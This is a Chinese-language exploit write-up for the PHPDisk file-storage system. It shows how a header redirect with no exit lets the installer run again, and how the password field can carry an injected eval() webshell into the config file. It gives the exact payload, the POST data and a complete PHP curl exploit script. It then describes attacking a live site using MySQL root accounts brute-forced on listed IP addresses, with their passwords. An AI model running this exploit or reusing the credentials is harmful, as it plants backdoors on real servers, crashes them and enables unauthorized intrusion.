phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析
Author:Yaseng Team:CodePlay<br />1:代码审计<br />PHPDISK网盘系统是国内使用广泛PHP和MySQL构建的网络硬盘(文件存储管理)系统,笔者对其源码分析中,发现了一个很有意思的东东…..<br /> <img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419094.jpg" /><br />图一<br /> 图一为install下面的index.php,程序安装文件。看上起很正常的代码,当系统安装时,生成一个锁定文件,再次执行install时判断,这里他用了一个Header,而木有exit 。然而php中header 跳转之后代码还是向后执行,可以直接post 数据过去,再来看这个文件 。 <br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419095.jpg" /><br /><br />图二<br />安装流程全部靠$step,而step 又可以靠POST 控制。 继续找可以利用之处<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode7"> <br />$str = "<?php".LF.LF; <br />$str .= "// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF; <br />$str .= "\$configs = array(".LF.LF; <br />$str .= "\t'dbhost' => '$dbhost',".LF.LF; <br />$str .= "\t'dbname' => '$dbname',".LF.LF; <br />$str .= "\t'dbuser' => '$dbuser',".LF.LF; <br />$str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF; <br />$str .= "\t'pconnect' => 0,".LF.LF; <br />$str .= "\t'tpf' => 'pd_',".LF.LF; <br />$str .= "\t'charset' => '$charset',".LF.LF; <br />$str .= "\t'debug' => '0',".LF.LF; <br />$str .= ");".LF.LF; <br />$str .= "define('ADMINCP','admincp');".LF; <br />$str .= "?>".LF; <br />$fp = fopen($config_file,'w'); <br />if (!$fp) { <br />exit("Can not open file <b>$config_file</b> ."); <br />} <br />if(is_writable($config_file)){ <br />if(@fwrite($fp,$str)){ <br />$msg .= "<font color=blue>{$config_file} ".__('write_success')."</font>"; <br />}else{ <br />吧post 数据写入配置文件configs.inc.php,可以利用之,继续目测之。 <br />function stripslashes_array(&$array) { <br />if (is_array($array)) { <br />foreach ($array as $k => $v) { <br />$array[$k] = stripslashes_array($v); <br />} <br />} else if (is_string($array)) { <br />$array = stripslashes($array); <br />} <br />return $array; <br />} <br />if (@get_magic_quotes_gpc()) { <br />$_GET = stripslashes_array($_GET); <br />$_POST = stripslashes_array($_POST); <br />} <br /></div><br />哈哈,为了安装方便,竟然去掉了gpc,这下可以直接写入木马了。<br /><strong>2:漏洞利用& getShell 方法</strong><br />查找写入配置的地方<br /> <br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode8"><br />$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());<br /> if(!mysql_select_db($dbname,$_l)){<br /> mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());<br /> }<br /> @mysql_close($_l);<br /> </div> <br /><br />验证是否可以连接,错误的数据库信息直接退出哦了,看来不能乱写了,只能在dbpasswd 上面下功夫。<br /> 首先yy一下system 下的configs.inc.php 文件<br /> <font color="#ff0000">'dbpasswd' => '',);?><?php eval($_POST['y']);?>',<br /></font>就可以直接 菜刀连接之<br /> <br />由于没有万恶的gpc 直接POST一个'dbpasswd' = '',);?><?php eval($_POST['y']);?>'<br /> <br />也就是此时的密码为: ',);?><?php eval($_POST['y']);?><br /> <br />此时需要post的 数据包为:<br /> <br />$pass='\',);?><?php eval($_POST[\'y\']);?>';<br /> <br />$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;<br /> <br />当数据库信息正确时,成功写入一句话木马.<br /> <br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419096.jpg" /><br /> <br />图四<br /> 成功写入shell<br /> <strong>3:getShell exp 编写<br /></strong> 结束yy,我们来用php 中强大的curl exp,前文我们已然构造出post 传送的数据。然后在根据特征检测是否getShell ,具体代码如下(完整exp 见附件)。<br /> <br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode9"> <br />$site = $argv; //传入的 网站 <br />$url= $site."/install/index.php"; <br />$pass='\',);?><?php eval($_POST[\'y\']);?>'; <br />$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; //exploit data <br />$ch = curl_init($url); <br />curl_setopt($ch, CURLOPT_HEADER, 1); <br />curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); <br />curl_setopt($ch,CURLOPT_POST,true); <br />curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //发送post 数据 <br />$result=curl_exec($ch); <br />curl_close($ch); <br />$shell="http://".$site.'/system/configs.inc.php'; <br />if(strpos(@file_get_contents($shell),'pconnect')){ //检测是否成功 <br />echo "Hi guy I get the Shell:".$shell; <br />}else{ <br />echo "Shit !!! This Site:$site Can not get Shell"; <br />} <br /></div><br /><strong>4:实战演示<br /></strong> 其实这种拿shell 方式是极其缺德,破坏configs.inc.php,导致全站崩溃,俺找了个比较新的站点(目测没什么人) 主啊 原谅我吧 …… 实战一番. <br />找外连数据库啊.菜刀里面找了x个shell 皆不能外联,干 向朋友要了个mysql root 爆破工具,爆破了一批root 。 <br />进入数据库成功... 98.126.4.252 root password <br />进入数据库成功... 98.126.4.253 root password <br />进入数据库成功... 98.126.4.250 root password <br />进入数据库成功... 98.126.4.251 root passwd <br />进入数据库成功... 98.126.4.254 root password <br />进入数据库成功... 98.126.4.252 root root123456 <br />进入数据库成功... 98.126.4.253 root root123456 <br /> <img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419097.jpg" /><br /> <br />随便找了个,本地adminer(一个单文件php MySQL管理客户端) 进去改密码,此时发送的data为(如果不行 请大家自行更换可外链的mysql)<br /> $pass='\',);?><?php eval($_POST[\'y\']);?>';<br /> $data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;<br /> Php命令行下执行php phpdisk.php <br /> <img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419098.jpg" /><br />Done,成功写入,菜刀连接。<br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419099.jpg" /><br /> <br />Ko !!!<br /> <strong>4:总结</strong><br /> 本文是Header直接跳转导致绕过的典型文章,php函数使用强大而简单,同时我们不得不谨慎使用如header,preg_replace,eval 之类的危险函数,以免被非法利用。
頁:
[1]